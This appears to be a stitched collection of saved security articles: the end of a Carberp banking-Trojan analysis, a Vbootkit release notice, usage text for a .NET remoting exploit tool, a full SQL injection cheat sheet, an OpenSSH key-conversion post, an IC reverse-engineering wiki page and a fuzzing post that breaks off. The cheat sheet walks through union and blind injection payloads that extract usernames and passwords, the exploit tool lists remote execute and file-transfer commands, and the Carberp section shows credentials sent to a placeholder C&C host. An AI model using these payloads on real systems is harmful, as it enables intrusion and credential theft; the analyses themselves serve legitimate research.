What they do is to dynamically create a <SCRIPT> element with all the
parameters that are to be sent as parameters. This dynamic element is created
via JavaScript. The browser evaluates this as if it would be part of the
banking website and you can happily include content from other hosts. The
trick here is that the information that is to be sent is just added as HTTP
parameter, which means that the Web browser will make a request to this page
\(with all parameters\). The other benefit is that the page even executes any
JavaScript that is returned.

Example: Say the Trojan wants to send the username abc and password 123 to
their C&C server; they just dynamically add a SCRIPT element as follows:

  * <SCRIPT src=’https://TROJANC&C.com/in.php?username=abc&pass=123></SCRIPT>

The analysed Carberp configuration and JavaScript files provided lots of
really sophisticated examples and we just present a few selected ones below.

## 3.2 Persistent storage

One thing we found quite interesting is the way how the perpetrators implement
persistent storage. Persistent storage is needed if you want to save the
current account balance for later use.

Internet Explorer actually provides a nice interface for “localStorage” and
“globalStorage” that can be used for exactly this purpose.

If that’s not possible \(e.g. if you run Firefox\), then they simply create a
new content element \(that’s a <DIV> element called ‘customStorage’\) where
they store the information.

Access to the persistent store is done via a JavaScript function \(called
‘ud’\) where you can specify whether you want to read, write or delete the
name and the value of the information to be stored together with an expiry.

## 3.3 Example 1: get the actual cash balance for the current account

<img src='img/Temp2_5160.gif' />

This will copy the available balance from the HTML content id
‘cashTotalAvalBalance’ to the variable “total”. Then it will remove the dollar
\($\) and comma \(,\) characters and then call a function “sdata” which does a
request to the C&C server with the following parameter:

  * make=auth
  * rix=<timestamp>
  * total=<available cash>
  * idt=<USERID within the Carberp backend>

## 3.4 Example 2: replacing the login button with a “malicious” login button

<img src='img/Temp2_5149.gif' />

  1. This snippet will walk through all form fields and once it finds one called ‘Anmelden’ \(German for login\) it will save a reference to it.
  2. Then it will create a new input field with exactly the same values \(name, type, class, title, value, tabIndex\), however it will set an \!deactivated\!ONEVENT event handler which will now call a malicious function “doLogin” if the user clicks on it.
  3. Then it will insert this newly created button to the page \(2nd to last line\) and finally will remove the “real” login button \(last line\)
  4. The doLogin function will take the accountNumber, the pinNumber, the current URL, a Carberp unique userid and a browser identifier and save this into local storage and then will submit the form.
  5. The information in the local storage will then later be used.

## 3.5 Example 3: change account balance display \(to remove fraudulent
transaction amount\)

<img src='img/Temp2_5151.gif' />

  1. This JavaScript routine will go through all the tables within the HTML and if the CSS class is either “posSaldo” \(positive balance\) or “negSaldo” \(negative balance\), it will save the current balance in the variable “sal”.
  2. Furthermore it will get the fraudulent amount from local storage into the “sd” variable. “nv” is then the correct HTML of the fake amount \(obviously the current balance plus the fraudulent amount\).
  3. Then it will be written to the HTML \(and to make it look nice, the style sheet will be fixed up as well ;-\)

## 3.6 Example 4: remember the last login date and replace the “real” last
login date with a fake one

<img src='img/Temp2_5152.gif' />

  1. When called, this will walk through the content elements and find the paragraph that contains “Letztes Login” \(German for last login\).
  2. It will then convert the date and time into a JavaScript variable
  3. The first time, it just store this information in the persistent storage
  4. The second time, it will replace the real date with the saved one from the persistent storage.

## 3.7 Example 5: change recipient details on form submission

Ok, this is cool…

The next snippet will be called in exactly the same way we presented in
Example 2, meaning the submit button has been replaced and once the user
clicks on submit, the following code will execute:

<img src='img/Temp2_5155.gif' />

And then this will happen…

<img src='img/Temp2_5158.gif' />

  1. In this section, the original recipient details will be saved and the wire transfer form will be located. For our non-German readers \(empfaengerName = recipient name, empfaengerKontonummer = recipient account number, empfaengerBlz = recipient bank identifier, betrag = amount, verwendungszweck = reference number\)
  2. All these details will be stored in the local storage
  3. The login number, the account number, the amount and the bank identification number will be sent to the C&C server, who will in turn reply with the money mule account details. Now the alertContents function will be called which will change the recipient details on the fly
  4. Now with all the relevant information at hand, Carberp will search for the wire transfer form and
  5. Put the money mule details received by step 3 into the local storage for later use
  6. Carberp makes sure that this wire transfer is executed immediately
  7. Now the recipient details are changed to the money mule details
  8. And finally the form will be submitted and the wire transfer executed

It is worth noting that now the original recipient details and the changed
details \(money mule\) are still in local storage for later use \(e.g. change
the available account balance\)

## 3.8 Example 6: The most well-thought-through example of one-time-password
token stealing

Warning: You’ll be impressed\! What can I say… The power of JavaScript…

We’ve all seen so many examples where form fields are changed so that the
fraudsters can steal the information they want, but I have never ever seen
such a sophisticated token stealing mechanism as employed by the guys behind
Carberp. Sophisticated not really in the technical sense, but more from a user
design point of view. These guys have spent so much time making sure that
users won’t get suspicious.

As you know, OTP’s are only valid once and for a specific time. So the
“traditional” approach was to either present a dedicated form to steal a OTP
on its own \(see e.g. our last Gozi report for such an example\).

So this one blew us away and it works as follows\[2\]:

  * For an authentication page where the user has to provide a OTP, Carberp will hook into the onSubmit of the “Sign on” button
  * It will save all values \(including the OTP\) and then simulate the look and feel of a new page loading. This new page says that the token password has expired and the user should please enter another one. The page loading will be stretched to 60 seconds to get a new OTP\!
  * The page load simulation is done as follows 
    * The status bar will show “Waiting for https://<<URLREMOVED>>...”  
<img src='img/Temp2_5162.gif' />

  * All content elements will be made invisible \(via CSS\) and the page loading time will be a simulated 60 seconds.  
<img src='img/Temp2_5159.gif' />

  * With a timeout function, the content elements keep appearing one by one \(exactly how it looks if a page loads slowly\)  
<img src='img/Temp2_5150.gif' />

  * They check all input parameters \(including e.g. that the OTP is different than the old one\)

# 4 Rogue / Fake Antivirus Engine

This Carberp variant has an interesting twist to it as it will also install a
rogue Antivirus Engine. We at TrustDefender Labs are most interested in
transactional Trojans so we’ll keep this section short; we can just view it as
a kind of a “reverse online fraud” as the bad guys don’t try to turn
legitimate wire transfers into fraudulent ones. Instead, they convince you to
do execute and authorize the fraudulent transaction directly. No need to steal
it at all.

First of all, it pretends to scan the computer just to find a lot of things
\(as you would guess\).

<img src='img/Temp2_5148.gif' />

Obviously there are many infections and I can only remove them if I pay
\(obviously\).

<img src='img/Temp2_5147.gif' />

$79.95 for a lifetime license + premium support doesn’t seem to be such a bad
deal, but somehow I declined to pay this time.

<img src='img/Temp2_5163.gif' />

The system is almost unusable if you don’t upgrade as for every single program
the following information window will be shown\!

<img src='img/Temp2_5153.gif' />

So either you pay or the system is almost unusable… I think they make lots of
money…

Side note: if you want to see exactly how much they are making, please refer
to the great report by Bart Villeneuve from the Information Warfare Monitor:
http://www.infowar-monitor.net/reports/iwm-koobface.pdf

SPOILER: “The Koobface mothership maintains daily records of the money earned
from affiliate relationships. The daily total for the last seven days is sent
to four Russian mobile phone numbers daily. The records of daily totals extend
back for nearly one year, from June 23, 2009 to June 10, 2010. During this
time, Koobface earned a total income of $2,067,682.69. The daily average
income was $5,857.46.”

# Vbootkit 2.0 is now open-source \( under GPL license\) - NVlabs | Analyzing Security
**Created:**| _5/9/2009 10:23:30 AM_  
---|---  
**Updated:**| _5/9/2009 10:24:09 AM_  
**Author:**| __  
**Tags:**| _windows security_  
  

#### Vbootkit 2.0 is now open-source \( under GPL license\)

Vbootkit 2.0 has now been made open-source under GPL license.  
  
Vbootkit 2.0 currently only works on Windows 7 \( x64 edition \).  
  
**Download Vbootkit 2.0 source code**  
http://www.nvlabs.in/uploads/projects/vbootkit2/vbootkit2.zip  

  
**Vbootkit 2.0 Attacking Windows 7 \(x64\) via Boot Sectors presentation**

**http://www.nvlabs.in/uploads/projects/vbootkit2/vbootkit2.0-AttackingWindows7viaBootSectors.odp  
**

# tyranid/ExploitRemotingService-binaries · GitHub

**Created:**| _11/25/2014 11:53:26 AM_  
---|---  
**Updated:**| _11/25/2014 11:53:26 AM_  
**Author:**| __  
**Tags:**| __  
  

# ExploitRemotingService \(c\) 2014 James Forshaw

A tool to exploit .NET Remoting Services vulnerable to CVE-2014-1806 or
CVE-2014-4149. It only works on Windows although some aspects _might_ work in
Mono on \*nix.

#  Usage Instructions:

[code]

    ExploitRemotingService [options] uri command [command args]
    Copyright (c) James Forshaw 2014
    
    Uri:
    The supported URI are as follows:
    tcp://host:port/ObjName   - TCP connection on host and portname
    ipc://channel/ObjName     - Named pipe channel
    
    Options:
    
      -s, --secure               Enable secure mode
      -p, --port=VALUE           Specify the local TCP port to listen on
      -i, --ipc=VALUE            Specify listening pipe name for IPC channel
          --user=VALUE           Specify username for secure mode
          --pass=VALUE           Specify password for secure mode
          --ver=VALUE            Specify version number for remote, 2 or 4
          --usecom               Use DCOM backchannel instead of .NET remoting
          --remname=VALUE        Specify the remote object name to register
      -v, --verbose              Enable verbose debug output
          --useser               Uses old serialization tricks, only works on
                                 full type filter services
      -h, -?, --help
    
    Commands:
    exec [-wait] program [cmdline]: Execute a process on the hosting server
    cmd  cmdline                  : Execute a command line process and display stdout
    put  localfile remotefile     : Upload a file to the hosting server
    get  remotefile localfile     : Download a file from the hosting server
    ls   remotedir                : List a remote directory
    run  file [args]              : Upload and execute an assembly, calls entry point
    user                          : Print the current username
    ver                           : Print the OS version
    
[/code]

This tool supports exploit both TCP remoting services and local IPC services.
To test the exploit you need to know the name of the .NET remoting service and
the port it's listening on \(for TCP\) or the name of the Named Pipe \(for
IPC\). You can normally find this in the server or client code. Look for
things like calls to:

RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance

You can then try the exploit by constructing an appropriate URL. If TCP you
can use the URL format tcp://hostname:port/ServiceName. For IPC use
ipc://NamedPipeName/ServiceName.

A simple test is to do:

ExploitRemotingService SERVICEURL ver

If successful it should print the OS version of the hosting .NET remoting
service. If you get an exception it might be fixed with CVE-2014-1806. At this
point try the COM version using:

ExploitRemotingService -usecom SERVICEURL ver

This works best locally but can work remotely if you modify the COM
configuration and disable the firewall you should be able to get it to work.
If that still doesn't work then it might be an up to date server. Instead you
can also try the full serialization version using.

ExploitRemotingService -useser SERVICEURL ls c:\

For this to work the remoting service must be running with full typefilter
mode enabled \(which is some, especially IPC services\). It also only works
with the commands ls, put and get. But that should be enough to compromise a
box.

I've provided an example service to test against.

# Full SQL Injections Cheatsheet

**Created:**| _3/28/2010 1:40:34 PM_  
---|---  
**Updated:**| _4/3/2010 4:53:41 PM_  
**Author:**| __  
**Tags:**| _web-app-sec cheat sheets_  
  

[code]

    ###################################################
    # [+]Title: [Full SQL Injections Cheatsheet]
    ###################################################
    # [+] About :
    ###################################################
    # Author : GlaDiaT0R | the_gl4di4t0r@hotmail.com<mailto:the_gl4di4t0r@hotmail.com>
    # Team : DarkGh0st Team ( DarkGh0st.Com )
    # Greetz: Boomrang_Victim, Marwen_Neo
    ###################################################
    # [+] Summary: I*
    # [1]-Introducing The SQL Injection Vuln
    # [2]-Exploiting Sql Injection Vuln
    # [3]-Exploiting Blind SQL Injection Vuln
    ###################################################
    
    [1]* -Introducing The SQL Injection Vuln:
    .SQL injection attacks are known also as SQL insertion
    it's in the form of executing some querys in the database and getting acces to informations (SQL Vesion, Number & Names of tables and columns,some authentification infos,ect...)
    
    [2]* -Exploiting Sql Injection Vuln :
    
    .Before proceeding to the exploitation of sql injections we have to checking for this vulnerability, so we have an exemple
    
    http://www.website.com/articles.php?id=3
    
    for checking the vulnerability we have to add ' (quote) to the url , lets see together
    
    http://www.website.com/articles.php?id=3'
    
    now, if we get an error like this "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
    
    this website is vulnerable to sql injection, and if we don't get anything we can't exploiting this vulnerability.
    
    Now, Lets go to exploiting this vuln and finding some informations about this sql database
    
    
    certainly before doing anything we have to find the number of columns
    
    [-] Finding the number of columns:
    
    for finding the number of columns we use ORDER BY to order result in the database
    
    lets see that ,
    
    http://www.website.com/articles.php?id=3 order by 1/*
    
    and if we havn't any error we try to change the number
    
    http://www.website.com/articles.php?id=3 order by 2/*
    
    still no error,so we continu to change the number
    
    http://www.website.com/articles.php?id=3 order by 3/*
    
    no error to
    
    http://www.website.com/articles.php?id=3 order by 4/*
    
    no error
    
    http://www.website.com/articles.php?id=3 order by 5/*
    
    yeah , here we have this error (Unknown column '5' in 'order clause')
    
    so, this database has 4 colmuns because the error is in the 5
    
    now, we try to check that UNION function work or not
    
    [-] Checking UNION function :
    
    for using UNION function we select more informations from the database in one statment
    
    so we try this
    
    http://www.website.com/articles.php?id=3 union all select 1,2,3,4/* (in the end it's 4 because we have see the number of columns it's 4)
    
    now, if we see some numbers in the page like 1 or 2 or 3 or 4 == the UNION function work
    
    if it not work we try to change the /* to --
    
    so we have this
    
    http://www.website.com/articles.php?id=3 union all select 1,2,3,4--
    
    after checking the UNION function and it works good we try to get SQL version
    
    [-] Getting SQL Version :
    
    now we have a number in the screen after checking the UNION
    
    we say in example that this number is 3
    
    so we replace 3 with @@version or version()
    
    http://www.website.com/articles.php?id=3 union all select 1,2,@@version,4/*
    
    and now we have the version in the screen!
    
    lets go now to get tables and columns names
    
    
    [-] Getting tables and columns names :
    
    here we have a job to do!!
    
    if the MySQL Version is < 5 (i.e 4.1.33, 4.1.12...)
    
    lets see that the table admin exist!
    
    http://www.website.com/articles.php?id=3 union all select 1,2,3,4,5 from admin/*
    
    and here we see the number 3 that we had in the screen
    
    now, we knows that the table admin exists
    
    here we had to check column names:
    
    http://www.website.com/articles.php?id=3 union all select 1,2,username,4,5 from admin/*
    
    if we get an error we have to try another column name
    
    and if it work we get username displayed on screen (example: admin,moderator,super moderator...)
    
    after that we can check if column password exists
    
    we have this
    
    http://www.website.com/articles.php?id=3 union all select 1,2,password,4,5 from admin/*
    
    and oups! we see password on the screen in a hash or a text
    
    now we have to use 0x3a for having the informations like that username:password ,dmin:unhash...
    
    http://www.website.com/articles.php?id=3 union all select 1,2,concat(username,0x3a,password),4,5 from admin/*
    
    
    this is the sample SQL Injection , now, we will go to the blind sql injection (more difficult)
    
    
    [3]* -Exploiting Blind SQL Injection Vuln :
    
    first we should check if website is vulnerable for example
    
    http://www.website.com/articles.php?id=3
    
    and to test the vulnerability we had to use
    
    http://www.website.com/articles.php?id=3 and 1=1 ( we havn't any error and the page loads normally)
    
    and now
    
    http://www.website.com/articles.php?id=3 and 1=2
    
    here we have some problems with text, picture and some centents ! and it's good! this website is vulnerable for Blind SQL Injection
    
    we have to check MySQL Version
    
    [-] Getting MySQL Version :
    
    we use substring in blind injection to get MySQL Version
    
    http://www.website.com/articles.php?id=3 and substring(@@version,1,1)=4
    
    we should replace the 4 with 5 if the version is 5
    
    http://www.website.com/articles.php?id=3 and substring(@@version,1,1)=5
    
    
    and now if the function select do not work we should use subselect and we should testing if it work
    
    [-] Testing if subselect works :
    
    http://www.website.com/articles.php?id=3 and (select 1)=1 ( if the page load normaly the subselect works good)
    
    and now we have to see if we have access to mysql.user
    
    http://www.website.com/articles.php?id=3 and (select 1 from mysql.user limit 0,1)=1 (if it load normaly we have access to mysql.user)
    
    now, we can checking table and column names
    
    [-] Checking table and column names :
    
    http://www.website.com/articles.php?id=3 and (select 1 from users limit 0,1)=1
    
    if the page load normaly and no errors the table users exists
    
    now we need column name
    
    http://www.website.com/articles.php?id=3 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
    
    if the page load normaly and no errors the column password exists
    
    now we have the table and the column , yeah, we can exploiting the vunlnerability now
    
    http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
    
    the page load normaly and no errors,so we need to change the 80 for having an error
    
    http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>90
    
    no errors ! we continu
    
    http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
    
    Yeah!! an error
    
    the character is char(99). we use the ascii converter and we know that char(99) is letter 'c'
    
    to test the second character we change ,1,1 to ,2,1
    
    http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
    
    http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
    
    the page load normaly
    
    http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
    
    the page loads normally, higher !!!
    
    http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
    
    error ! lower number
    
    http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
    
    Error That we search!!
    
    now, we know that the second character is char(105) and that is 'i' with the ascii converter. We have 'ci' now from the first and the second charactets
    
    our tutorial draws to the close!
    
    Thanks you for reading and i hope that you have understand SQL Injection and exploitations of this vulnerability .
    
[/code]

# Odd Bits: Converting OpenSSH public keys

**Created:**| _2/8/2012 1:39:15 PM_  
---|---  
**Updated:**| _2/8/2012 1:39:17 PM_  
**Author:**| __  
**Tags:**| _bookmark windows Linux_  
  

### Converting OpenSSH public keys

> I've posted a followup to this article that discusses ssh-agent.
For reasons best left to another post, I wanted to convert an SSH public key
into a PKCS\#1 PEM-encoded public key. That is, I wanted to go from this:

[code]

    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD7EZn/BzP26AWk/Ts2ymjpTXuXRiEWIWn
    HFTilOTcuJ/P1HfOwiy4RHC1rv59Yh/E6jbTx623+OGySJWh1IS3dAEaHhcGKnJaikrBn3c
    cdoNVkAAuL/YD7FMG1Z0SjtcZS6MoO8Lb9pkq6R+Ok6JQjwCEsB+OaVwP9RnVA+HSYeyCVE
    0KakLCbBJcD1U2aHP4+IH4OaXhZacpb9Ueja6NNfGrv558xTgfZ+fLdJ7cpg6wU8UZnVM1B
    JiUW5KFasc+2IuZR0+g/oJXaYwvW2T6XsMgipetCEtQoMAJ4zmugzHSQuFRYHw/7S6PUI2U
    03glFmULvEV+qIxsVFT1ng3pj lars@tiamat.house
    
[/code]

To this:

[code]

    -----BEGIN RSA PUBLIC KEY-----
    MIIBCgKCAQEA+xGZ/wcz9ugFpP07Nspo6U17l0YhFiFpxxU4pTk3Lifz9R3zsIsu
    ERwta7+fWIfxOo208ett/jhskiVodSEt3QBGh4XBipyWopKwZ93HHaDVZAALi/2A
    +xTBtWdEo7XGUujKDvC2/aZKukfjpOiUI8AhLAfjmlcD/UZ1QPh0mHsglRNCmpCw
    mwSXA9VNmhz+PiB+Dml4WWnKW/VHo2ujTXxq7+efMU4H2fny3Se3KYOsFPFGZ1TN
    QSYlFuShWrHPtiLmUdPoP6CV2mML1tk+l7DIIqXrQhLUKDACeM5roMx0kLhUWB8P
    +0uj1CNlNN4JRZlC7xFfqiMbFRU9Z4N6YwIDAQAB
    -----END RSA PUBLIC KEY-----
    
[/code]

If you have a recent version of OpenSSH \(where recent means 5.6 or later\),
you can just do this:

[code]

    ssh-keygen -f key.pub -e -m pem
    
[/code]

If you don't have that, read on.

# OpenSSH Public Key Format

The OpenSSH public key format is fully documented RFC 4253. Briefly, an
OpenSSH public key consists of three fields:

  * The key type
  * A chunk of PEM-encoded data
  * A comment

What, you may ask, is PEM encoding? Privacy Enhanced Mail \(PEM\) is a
specific type of Base64 encoding...which is to say it is a way of representing
binary data using only printable ASCII characters.

For an `ssh-rsa` key, the PEM-encoded data is a series of \(length, data\)
pairs. The length is encoded as four octets \(in big-endian order\). The
values encoded are:

  1. algorithm name \(one of \(`ssh-rsa`, `ssh-dsa`\)\). This duplicates the key type in the first field of the public key.
  2. RSA exponent
  3. RSA modulus

For more information on how RSA works and what the exponent and modulus are
used for, read the Wikipedia article on RSA.

We can read this in with the following Python code:

[code]

    import sys
    import base64
    import struct
    
    # get the second field from the public key file.
    keydata = base64.b64decode(
      open('key.pub').read().split(None)[1])
    
    parts = []
    while keydata:
        # read the length of the data
        dlen = struct.unpack('>I', keydata[:4])[0]
    
        # read in <length> bytes
        data, keydata = keydata[4:dlen+4], keydata[4+dlen:]
    
        parts.append(data)
    
[/code]

This leaves us with an array that, for an RSA key, will look like:

[code]

    ['ssh-rsa', '...bytes in exponent...', '...bytes in modulus...']
    
[/code]

We need to convert the character buffers currently holding _e_ \(the
exponent\) and _n_ \(the modulus\) into numeric types. There may be better
ways to do this, but this works:

[code]

    e_val = eval('0x' + ''.join(['%02X' % struct.unpack('B', x)[0] for x in
        parts[1]]))
    n_val = eval('0x' + ''.join(['%02X' % struct.unpack('B', x)[0] for x in
        parts[2]]))
    
[/code]

We now have the RSA public key. The next step is to produce the appropriate
output format.

# PKCS\#1 Public Key Format

Our target format is a PEM-encoded PKCS\#1 public key.

PKCS\#1 is "the first of a family of standards called Public-Key Cryptography
Standards \(PKCS\), published by RSA Laboratories." \(Wikipedia\). You can
identify a PKCS\#1 PEM-encoded public key by the markers used to delimit the
base64 encoded data:

[code]

    -----BEGIN RSA PUBLIC KEY-----
    ...
    -----END RSA PUBLIC KEY-----
    
[/code]

This is different from an x.509 public key, which looks like this:

[code]

    -----BEGIN PUBLIC KEY-----
    ...
    -----END PUBLIC KEY-----
    
[/code]

The x.509 format may be used to store keys generated using algorithms other
than RSA.

The data in a PKCS\#1 key is encoded using DER, which is a set of rules for
serializing ASN.1 data. For more information see:

  * The WikiPedia entry for Distinguished Encoding Rules
  * A Layman's Guide to a Subset of ASN.1, BER, and DER

Basically, ASN.1 is a standard for describing abstract data types, and DER is
a set of rules for transforming an ASN.1 data type into a series of octets.

According to the ASN module for PKCS\#1, a PKCS\#1 public key looks like this:

[code]

    RSAPublicKey ::= SEQUENCE {
        modulus           INTEGER,  -- n
        publicExponent    INTEGER   -- e
    }
    
[/code]

We can generate this from our key data using Python's PyASN1 module:

[code]

    from pyasn1.type import univ
    
    pkcs1_seq = univ.Sequence()
    pkcs1_seq.setComponentByPosition(0, univ.Integer(n_val))
    pkcs1_seq.setComponentByPosition(1, univ.Integer(e_val))
    
[/code]

# Generating the output

Now that we have the DER encoded key, generating the output is easy:

[code]

    from pyasn1.codec.der import encoder as der_encoder
    
    print '-----BEGIN RSA PUBLIC KEY-----'
    print base64.encodestring(der_encoder.encode(pkcs1_seq))
    print '-----END RSA PUBLIC KEY-----'
    
[/code]

# Appendix: OpenSSH private key format

Whereas the OpenSSH public key format is effectively "proprietary" \(that is,
the format is used only by OpenSSH\), the private key is already stored as a
PKCS\#1 private key. This means that the private key can be manipulated using
the OpenSSL command line tools.

The clever folks among you may be wondering if, assuming we have the private
key available, we could have skipped this whole exercise and simply extracted
the public key in the correct format using the `openssl` command. We can come
very close...the following demonstrates how to extract the public key from the
private key using `openssl`:

[code]

    $ openssl rsa -in key -pubout
    -----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA+xGZ/wcz9ugFpP07Nspo
    6U17l0YhFiFpxxU4pTk3Lifz9R3zsIsuERwta7+fWIfxOo208ett/jhskiVodSEt
    3QBGh4XBipyWopKwZ93HHaDVZAALi/2A+xTBtWdEo7XGUujKDvC2/aZKukfjpOiU
    I8AhLAfjmlcD/UZ1QPh0mHsglRNCmpCwmwSXA9VNmhz+PiB+Dml4WWnKW/VHo2uj
    TXxq7+efMU4H2fny3Se3KYOsFPFGZ1TNQSYlFuShWrHPtiLmUdPoP6CV2mML1tk+
    l7DIIqXrQhLUKDACeM5roMx0kLhUWB8P+0uj1CNlNN4JRZlC7xFfqiMbFRU9Z4N6
    YwIDAQAB
    -----END PUBLIC KEY-----
    
[/code]

So close\! But this is in x.509 format, and even though the OpenSSL library
supports PKCS\#1 encoding, there is no mechanism to make the command line
tools cough up this format.

Additionally, I am trying for a solution that does not require the private key
to be available, which means that in any case I will still have to parse the
OpenSSH public key format.

# start \[Silicon Pr0n\]

**Created:**| _3/23/2012 1:10:30 PM_  
---|---  
**Updated:**| _3/23/2012 12:10:57 PM_  
**Author:**| __  
**Tags:**| _hardware reversing_  
  

# Silicon Pr0n: silicon just the way you like it

An Integrated Circuit \(IC\) Reverse Engineering \(RE\) Wiki

Based upon the following principle:  
”””  
Observation 11.6. Understanding layouts and cross sections of semiconductor
devices does not require all of the physics and manufacturing details. To gain
a fairly useful — though merely qualitative — appreciation, it suffices to
differentiate among

  * \(conductive\) metals,
  * \(conductive\) polysilicon,
  * strongly n- and p-doped semiconductor materials,
  * weakly n- and p- doped semiconductor materials, and
  * \(nonconductive\) dielectrics.

”””  
-“Digital Integrated Circuit Design: From VLSI Architecture to CMOS Fabrication” by Hubert Kaeslin 
Thus this wiki does not attempt to deal with detailed device physics,
floorplanning algorithms, etc. Rather, it aims to provide a high level
quantitative feel of how ICs are built so that they can be analysed for one
reason or another. Information here is not aimed to be sufficient to actually
design an IC but may give a good feel of what goes into it.

The most developed pages are currently:

  * Decapsulation, especially related to epoxy
  * Research paper and presentations lists
  * List of die image archives

# What is this?

  * A place to collaborate on IC reverse engineering
  * Document techniques for decapping chips
  * Document techniques for analyzing to netlists
  * Document techniques for getting around chip protection

# What is this NOT?

  * A place to put commercial IC images
    * Vendor specific info is kept here http://siliconpr0n.org/archive/doku.php?id=start
    * We can probably get away with it, see Legal, but its better to be safe than sorry

# Related work

  * Visual 6502 wiki: http://visual6502.org/wiki/index.php?title=Main\_Page
  * Silicon Archive: http://intruded.net:8080/wiki/

# Disclaimer

Many of the procedures on this Wiki are extremely dangerous and should not be
attempted except by trained professionals. We take no responsibility for
accuracy of the information including, but not limited to, any safety
precautions or other procedural notes that may result in personal or material
damage. Do not attempt these procedures unless you are certain that you can do
so safely without damage to yourself, others, and/or your surroundings. This
information is provided without warranty and for reference only. We are in no
way responsible for how you use it.

# WE ARE RECRUITING\!

If you want to contribute, we'd be more than happy to give you an account.
Just send me a brief message telling me your interest in IC RE and what you
think you might be able to contribute if you are given access. There are 2 or
3 people contributing right now and I'd like that to grow. Contact me directly
at JohnDMcMaster <at> gmail.com

# lcamtuf's blog: Fuzzing random binaries without execve\(\)

**Created:**| _10/14/2014 11:34:20 AM_  
---|---  
**Updated:**| _10/14/2014 11:34:20 AM_  
**Author:**| __  
**Tags:**| _Fuzzer_  
  

# Fuzzing random binaries without execve\(\)

The most common way to fuzz data parsing libraries is to find a simple binary
that exercises the interesting functionality, and then simply keep executing
it over and over again - of course, with slightly different, randomly mutated
inputs in each run. In such a setup, testing for evident memory corruption
bugs in the library can be as simple as doing _waitpid\(\)_ on the child
process and checking if it ever dies with _SIGSEGV_ , _SIGABRT_ , or something
equivalent.  
  
This approach is favored by security researchers for two reasons. Firstly, it
eliminates the need to dig into the documentation, understand the API offered
by the underlying library, and then write custom code to stress-test the
parser in a more direct way. Secondly, it makes the fuzzing process repeatable
and robust: the program is running in a separate process and is restarted with
every input file, so you do not have to worry about a random memory corruption
bug in the library clobbering the state of the fuzzer itself, or having weird
side effects on subsequent runs of the tested tool.  
  
Unfortunately, there is also a problem: especially for simple libraries, you
may end up spending most of the time waiting for _execve\(\)_ , the linker,
and all the library initialization routines to do their job. I've been
thinking of ways to minimize this overhead in american fuzzy lop, but most of
the ideas I had were annoyingly complicated. For example, it is possible to
write a custom ELF loader and execute the program in-process while using
_mprotect\(\)_ to temporarily lock down the memory used by the fuzzer itself -
but things such as signal handling would be a mess. Another option would be to
execute in a single child process, make a snapshot of the child's process
memory and then "rewind" to that image later on via _/proc/pid/mem_ \- but
likewise, dealing with signals or file descriptors would require a ton of
fragile hacks.  
  
Luckily, Jann Horn figured a different, much simpler approach, and sent me a
patch for _afl_ out of the blue :-\) It boils down to injecting a small piece
of code into the fuzzed binary - a feat that can be achieved via _LD\_PRELOAD_
, via _PTRACE\_POKETEXT_ , via compile-time instrumentation, or simply by
rewriting the ELF binary ahead of the time. The purpose of the injected shim
is to let _execve\(\)_ happen, get past the linker \(ideally with
_LD\_BIND\_NOW=1_ , so that all the hard work is done beforehand\), and then
stop early on in the actual program, before it gets to processing any inputs
generated by the fuzzer or doing anything else of interest. In fact, in the
simplest variant, we can simply stop at _main\(\)_.  
  
Once the designated point in the program is reached, our shim simply waits for
commands from the fuzzer; when it receives a "go" message, it calls _fork\(\)_
to create an identical clone of the already-loaded program; thanks to the
powers of copy-on-write, the clone is created very quickly yet enjoys a robust
level of isolation from its older twin. Within the child process, the injected
code returns control to the original binary, letting it process the fuzzer-
supplied input data \(and suffer any consequences of doing so\). Within the
parent, the shim relays the PID of the newly-crated process to the fuzzer and
goes back to the command-wait loop.  
  
Of course, when you start dealing with process semantics on Unix, nothing is
as easy as it appears at first sight; here are some of the gotchas we had to
work around in the code:

  * File descriptor offsets are shared between processes created with _fork\(\)_. This means that any descriptors that are open at the time that our shim is executed may need to be rewound to their original position; not a significant concern if we are stopping at _main\(\)_ \- we can just as well rewind stdin by doing _lseek\(\)_ in the fuzzer itself, since that's where the descriptor originates - but it can become a hurdle if we ever aim at locations further down the line. 
  * In the same vein, there are some types of file descriptors we can't fix up. The shim needs to be executed before any access to pipes, character devices, sockets, and similar non-resettable I/O. Again, not a big concern for _main\(\)_. 
  * The task of duplicating threads is more complicated and would require the shim to keep track of them all. So, in simple implementations, the shim needs to be injected before any additional threads are spawned in the binary. \(Of course, threads are rare in file parser libraries, but may be more common in more heavyweight tools.\) 
  * The fuzzer is no longer an immediate parent of the fuzzed process, and as a grandparent, it can't directly use _waitpid\(\)_ ; there is also no other simple, portable API to get notified about the process' exit status. We fix that simply by having the shim do the waiting, then send the status code to the fuzzer. In theory, we should simply call the _clone\(\)_ syscall with the _CLONE\_PARENT_ flag, which would make the new process "inherit" the original PPID. Unfortunately, calling the syscall directly confuses glibc, because the library caches the result of _getpid\(\)_ when initializing - and without a way to make it reconsider, PID-dependent calls such as _abort\(\)_ or _raise\(\)_ will go astray. There is also a library wrapper for the _clone\(\)_ call that does update the cached PID - but the wrapper is unwieldy and insists on messing with the process' stack.   
  
\(To be fair, PTRACE\_ATTACH offers a way to temporarily adopt a process and
be notified of its exit status, but it also changes process semantics in a
couple of ways that need a fair amount of code to fully undo.\)

Even with the gotchas taken into account, the shim isn't complicated and has
very few moving parts - a welcome relief compared to the solutions I had in
mind earlier on. It reads commands via a pipe at file descriptor 198, uses fd
199 to send messages back to parent, and does just the bare minimum to get
things sorted out. A slightly abridged verion of the code is:

[code]

    __afl_forkserver:
    
